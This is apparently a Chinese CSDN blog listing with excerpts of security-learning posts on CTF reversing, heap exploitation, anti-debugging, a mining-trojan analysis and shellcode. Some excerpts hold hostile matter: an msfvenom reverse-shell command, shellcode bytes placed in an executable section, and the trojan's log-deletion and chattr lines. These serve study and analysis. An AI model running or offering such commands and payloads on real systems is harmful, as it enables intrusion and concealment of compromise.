- 博客(46)
- 收藏
- 关注
原创 ezam [CTF reverse] wp
程序开了ollvm混淆可以利用deobfuse.py脚本去混淆逻辑是xtea解密 异或操作后得到一个数组其实是迷宫问题,将十进制转为4进制 映射到上下左右动态调试 提取出地图 跑dfs获取路径 再转为十进制即可这里转换的函数思想是模拟短除法 不断对base取模 一直除到0代码如下:#include <stdio.h>#include <string.h>unsigned char mp[][24] ={ 0x01, 0x00, 0x00, 0x00, 0x00
2022-05-10 16:17:38
478
原创 简单IO多路复用(接收socket输入显示console,并接收标准输入发送socket)
#include <stdio.h>#include <WinSock2.h>#include <corecrt_io.h>#include <conio.h>#include <stdlib.h>#pragma comment(lib,"ws2_32.lib")#define PORT 6666SOCKET s_server;SOCKET s_client;char bigbuf_net[8192];char send_
2022-04-05 21:42:33
808
原创 PySimpleFuzzer
Preface最近看到了一篇博客 Build simple fuzzer写的十分清晰易懂, 其中有句话说的很好 ''if you really want to understand something you should try to disassemble/recreate it."这里我就按照该博客的思路一点一点写一个简单的fuzzer, 用python写当然只能用来把玩 执行效率限制了它不可能用于现实场景的fuzz 因为fuzz原理并不复杂 但是是一个高度依赖计算量的任务.Resource
2022-03-16 17:47:09
1337
原创 极大极小值算法 搜索
以下,参考<算法精粹:经典计算机科学问题的Python实现> 写的一个简单Tictoe 井字棋搜索Aifrom typing import NewType,List# 一步棋,可以用一个整数代表这一步棋(放在哪个方格)Move = NewType('Move',int)# 表示棋盘上的一种棋子 opposite是回合指示器class Piece: def __init__(self): pass#棋盘的状态class Board(): # 从当
2021-12-22 11:20:13
1436
原创 ScllaTest 若干检测调试手段
从ScyllaTest 学习若干64位 反调试手法AntiDbg是一个繁多且深入的领域,前人们的奇思构想,深入研究 诞生了许多经典的反调试方法,常见的已有20几种,若加上各种针对插件,调试器的主动攻击防御,恐有百种. 不过许多方法在最新win10 x64位已经失效,其中思想仍值得学习,目前开源的反反调试工具中十分出色的是ScyllaHide,这里仅针对ScyllaTest用到的反调试手段进行总结Process Environment Block(PEB)最重要的反调试检测手段,几乎所有的反调试器都
2021-12-01 09:52:44
399
原创 2021西湖论剑 Re wp
菜狗是不可能AK的, 只能靠做一道签到维持生活这样子ROR用z3 一把梭了:from z3 import*res_box = [ 0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB, 0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39, 0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x.
2021-11-23 17:06:50
697
6
原创 z3解数独
from z3 import*board = [ [0, 4, 0, 0, 0, 0, 1, 0, 0], [9, 2, 0, 0, 0, 0, 6, 0, 7], [0, 0, 0, 0, 0, 5, 4, 0, 0], [0, 1, 0, 0, 0, 3, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 5,
2021-10-27 10:40:42
640
原创 Protostar Heap3 (hack the heap algorithm)
学习pwn快一个月了,从栈溢出,到格式化字符串漏洞,再到return to libc,再到heap UAF,double free,因为学习的protostar没有现代化防护手段,一路上比较顺利.而在protostar堆类最后一道挑战,遇到了一些障碍,停滞了两天,不过好在liveoverflow讲的十分清晰,重复听了几遍,逐渐明白,这里记录下一个题解吧,作为我的pwn专栏第一篇文章题目:目标使程序执行winner()思路首先可以确认的是,我们可以利用strcpy覆写堆中内容,想要执行win.
2021-09-05 11:46:14
7103
原创 2021 祥云杯 RE dizzy WP
这道题 其实是一道模拟题 作者估计也没想到 被hexRay背刺了 大概思想是模拟了 加 减 异或三种运算 可惜模拟的子片段能被hexRay识别并分析,导致把maxFunSize参数上限调高后,ida直接把运算式生成了:byte_43841C[6] += byte_43841C[3];byte_43841C[10] -= byte_43841C[27];byte_43841C[10] += byte_43841C[6];byte_43841C[14] += byte_43841C[3];byte_
2021-08-28 14:40:54
466
2
原创 Anti_dbg -- Fuzz
参考 liveoverflow Parser Differential fuzz思路链接目标程序源码测试复制target fuzz保存输出normal_executegdb_debugradare_debug编写fuzz脚本思路我们试图根据不同的PE文件parser解析器的差异 产生不同输出, 目的找到一个pe文件可以被linux PE加载器正常执行,但是在gdb 以及 radare里解析失败 从而实现反调试目的 Parser Differential随机更改p
2021-08-17 12:37:57
309
1
原创 Angr学习笔记
Theory PartSymbolic ExecutionIt’s a system that walks through all possible paths of a program.Execution PathIt’s a possible way to travel through the program.SymbolIt’s a variable in the program.A symbol depends on the execution path(s) that co
2021-08-15 19:19:50
1040
原创 Vim学习笔记
之前vim的学习笔记贴上来Vimmodenormalfirst enter vim is in this mode, esc back to this mode.insertnormal mode --> insert mode:i: insert from posa:[append] append text from poso:insert from next lineI: insert from begin of this lineA:append from.
2021-08-15 11:50:19
182
原创 Manual Mapping Inject
代码资料弄丢了,实在痛苦, 参照GuideHacking新写一份manual mapping,收获还是有,之前一直崇尚c with class式编程,不习惯用c++的io库 跟 智能指针, 约束类型转换, 学习了Guidehacking的写法 发觉c++的有些语法其实还蛮优雅的, 当是复习memoryloader知识,熟悉c++若干语法吧. 现在看来,GayHub确实香.代码放gayhub上了 manualmappingtip为了实现更好的隐藏, 我做了一点优化,把需要修复的表字段事先保留 当成.
2021-08-15 11:19:53
525
原创 密码学学习笔记
History恺撒密码恺撒密码其实就是把明文字母表平移若干个字母实现的原理清晰简单,解密反向平移若干位即可而破译者只需要尝试至多25次即可解密简单替换密码简单替换密码是吧明文字母表中每一项对应另外一个字母,映射关系形成一张表,加密与解密都基于该映射表原理也十分简单,而尝试暴力破解却不可行,因为映射关系相当与26个字母的全排列:26! 即使每秒遍历10亿个密钥,也需要超过120亿年的时间如何破译 - 频率分析法因为人类自然语言中26个字母的使用频率是不相同的,据统计,一般英语文章中频率最高的
2021-08-10 20:06:18
607
原创 Unicorn‘s HelloWorld
一直计划着学习unicorn,今天学习了个helloworld(雾from unicorn import*from unicorn.x86_const import*x86_code32 = b'\x41\x4a' #inc ecx;dec edxaddress = 0x1000000#initialize emulator in x86-32bit modemu = Uc(UC_ARCH_X86,UC_MODE_32)#map 2MB memory for emulationmu.
2021-08-09 21:07:08
183
原创 c++ 构造与析构顺序
C++ 构造与析构顺序derived class#include <iostream>using namespace std;class Base{public: int Base_data; Base():Base_data(1) { cout<<"Base construction"<<endl; } virtual ~Base() { cout<< "Base d
2021-08-09 12:33:00
313
原创 Python tcp udp
Base On Sockettcpserverfrom socket import socket,AF_INET,SOCK_STREAMdef echo_server(address,backlog=5): sock = socket(AF_INET,SOCK_STREAM) sock.bind(address) sock.listen(backlog) while True: #建立连接 client_sock,client
2021-07-28 11:43:33
139
原创 挖矿木马简单分析
#!/bin/sh#更改当前进程最大打开文件数为65535ulimit -n 65535#删除linux下系统关键日志信息rm -rf /var/log/syslog#给chattr最高权限 chattr (chattr可以修改文件隐藏属性,如不可删除)chmod 777 /usr/bin/chattrchmod 777 /bin/chattr# -iua i:只许修改,不允许建立和删除 u删除文件会保存,以后可以恢复 a只允许建立和修改,不允许删除# -iua 和 + 相反 去除文件
2021-07-27 20:12:22
2255
原创 Flask实现简单的web后端登录注册
最近学习了如何用flask 迅捷搭建服务器其中app.py是flask web后端postman是模拟前端发送post请求database.db是sqlite3数据库文件app.pyfrom flask import Flaskfrom flask import requestimport sqlite3app = Flask(__name__)def usrcheck(username): conn = sqlite3.connect('database.db')
2021-07-24 15:09:01
2284
1
原创 x64汇编 VS配置
x64 不支持内联汇编了,写汇编稍微麻烦点.新建asm文件,右键该文件选择属性option:casemap:none 是让汇编大小写敏感vs还有汇编高亮插件asmdude
2021-07-24 11:27:24
273
原创 Os 并发[未完结]
OS并发并发介绍线程共享数据说开去#include <stdio.h>#include <assert.h>#include <pthread.h>int cnt;void *mythread(void* arg){ for(int i=0;i<100000;i++) cnt++; return NULL;}int main(){ pthread_t p1,p2;
2021-07-23 16:22:17
107
原创 VC 创建新段
由于x64强制开启了nx位,dep保护故不能直接执行data全局数据段数据(虽然可以通过修改pe段属性)故创建新段容纳shellcode#include <windows.h>#pragma comment(linker, "/SECTION:hackseg,RWE")#pragma data_seg("hackseg")unsigned char buf[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x5
2021-07-22 17:35:28
160
原创 Kali命令
generate reverse shellmsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.64.130 LPORT=443 -f c -b \x00\x0a\x0d
2021-07-20 11:08:39
172
原创 Bat Cmd 使用到的命令随笔
计次循环for /l %i in (1,1,cnt) do command生成若干空文件for /l %i in (1,1,14) do cd.>%i.txt批量重命名for %i in (*.txt) do rename %i %~ni.data其中%~ni是只把%i扩充到后缀名之前
2021-07-18 18:33:25
132
原创 Python Sqlite简单学习
增删改查import sqlite3conn = None#连接数据库def connect(): global conn conn = sqlite3.connect('test.db') returndef getcursor(): return conn.cursor()def disconnect(): conn.close() return#建表def createTable(c): c.execute('''CREATE T
2021-07-17 21:37:23
163
原创 复习堆排序
#include <bits/stdc++.h>using namespace std;void heapify(int arr[],int n,int i){ int left = 2*i + 1; int right = 2*i + 2; if(left >= n || right >=n) return; if(arr[i] < arr[left]) { swap(arr[i],arr[left]);
2021-06-27 14:12:34
149
原创 Fllow Let‘s build a interpreter [part6]
PLUS,MINUS,MULTIPLY,DIVIDE,INTEGER,EOF = 'PLUS','MINUS','MULTIPLY','DIVIDE','INTEGER','EOF'class Token: def __init__(self,type,value): self.type = type self.value = value def __str__(self): return '({},{})'.format(self.typ
2021-06-03 15:34:32
120
原创 枚举内核对象Filefile
最近分析了冰蝎的jni库,发现其中的freeFile函数写的很底层,学习了一下:#include <windows.h>#include <stdio.h>#define _DWORD DWORDtypedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation,// 0 Y N SystemProcessorInformation,// 1 Y N SystemPerformanceInformation,
2021-05-18 14:39:29
212
原创 MiniCRT PLUS
后续跟进学习了c++ runtime libarary,不幸的是vs2019 msvc工具不允许我重载库函数,故编译无法通过,不过学习MiniCRT PLUS还是学习到了很多知识,也熟悉了c++ 的string库,io库实现原理。由于是基于MiniCRT的PLUS版本,故只贴上新增源码:iostream.h#include "minicrt.h"namespace std{ class ofstream { protected: // protect : can be
2021-05-17 09:41:01
201
原创 Simple MiniCRT
学习了程序员的自我修养这本书,对着示例CRT代码敲了一遍,收获还是颇丰的。源码string.c#include <windows.h>char* itoa(int n, char* str, int radix){ char digit[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; char* p = str; char* head = str; if (!p || radix < 2 || radix > 36)
2021-05-10 19:41:53
196
2
原创 参照[0day安全]写的shellcode编码器
#include <stdio.h>#include <windows.h>/*void decoder(){ __asm { add eax,0x14 xor ecx,ecx decoder_loop: mov bl,[eax+ecx] xor bl,0x44 mov [eax+ecx],bl inc ecx cmp bl,0x90 jne decoder_loop }}*/unsigned char decoder[] ={
2021-05-04 13:06:10
261
原创 msf生成弹出calc一段shellcode分析
00446000 | FC | cld |00446001 | E8 82000000 | call shellcodeanalyse.446088 |00446006 | 60 | pushad |00446007 | 89E5 | mov ebp,esp
2021-04-30 12:24:29
3176
原创 [0day]ShellCode分析
学习了一份shellcode 记录一下分析#include <stdio.h>#include <string.h>#include <stdlib.h>int main(){ __asm { jmp mainbegin __emit 'B' __emit 'E' __emit 'G' __emit 'I' __emit 'N' __emit '\0' } mainbegin: _asm { nop nop
2021-04-27 20:40:30
301
1
转载 peb获取进程加载模块
重要结构体typedef struct _PEB { // Size: 0x1D8/*000*/ UCHAR InheritedAddressSpace;/*001*/ UCHAR ReadImageFileExecOptions;/*002*/ UCHAR BeingDebugged;/*003*/ UCHAR SpareBool; // Allocation size/*004*/ HANDLE Mutant;/*008*/ HINSTANCE ImageBaseAddress; //.
2021-04-26 15:26:37
363
转载 二分算法模板
二分的思想:假设目标值在闭区间[l,r]中,每次将区间长度缩小一半,当l=r时,我们就找到了目标值.两种模板划分为[l,mid]和[mid+1,r]. 更新操作为r=mid或者l=mid+1,计算mid时不需要加1int bsearch_1(int l, int r){ while (l < r) { int mid = l + r >...
2019-07-15 17:39:46
148
原创 C/C++语言实现四舍五入
近来做一道题,要求小数点保留两位(即第3位四舍五入)。之前知道如果要求整数四舍五入可以这样写:double x = 3.486876;int m = (int)(x+0.5);//m就是四舍五入后的结果//当然也可以借助round()函数,,如下#include<math.h>int m = round(x);//当然也可以借助floor函数#in...
2019-01-04 22:11:43
1388
1
原创 ZZULI OJ 卓见杯被(真*水题)虐反思
以下,6道WA#a题,数组开的太小,自己却一直没发现,没过,实际把下标开的大一点就ac ,不细心,受到他人ac题,自己为了赶时间,结果越忙越乱#c题,自己想的太多(无关的东西),一直觉得是c++的IO输出流影响时间,各种优化cin,cout换成printf,scanf,又换成getchar。觉得这是瓶颈,却没看到本质,只要稍微想想数学知识就能解决,一直陷入打表的执念,却没着手做,...
2019-01-04 17:55:24
504
原创 埃氏筛法O(nlogn)与欧拉筛法O(n)
素数打表十分常见,处理大IO与大数时十分有效,这里记下两种筛法。常规判断是否为素数bool isprime(int a){ for (int i=2;i*i<=a;i++) if (a%i==0) return false; return true; //易于理解,只是时间复杂度很高}埃氏筛法int prime[MAXN];bool book[...
2019-01-03 00:05:41
660
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅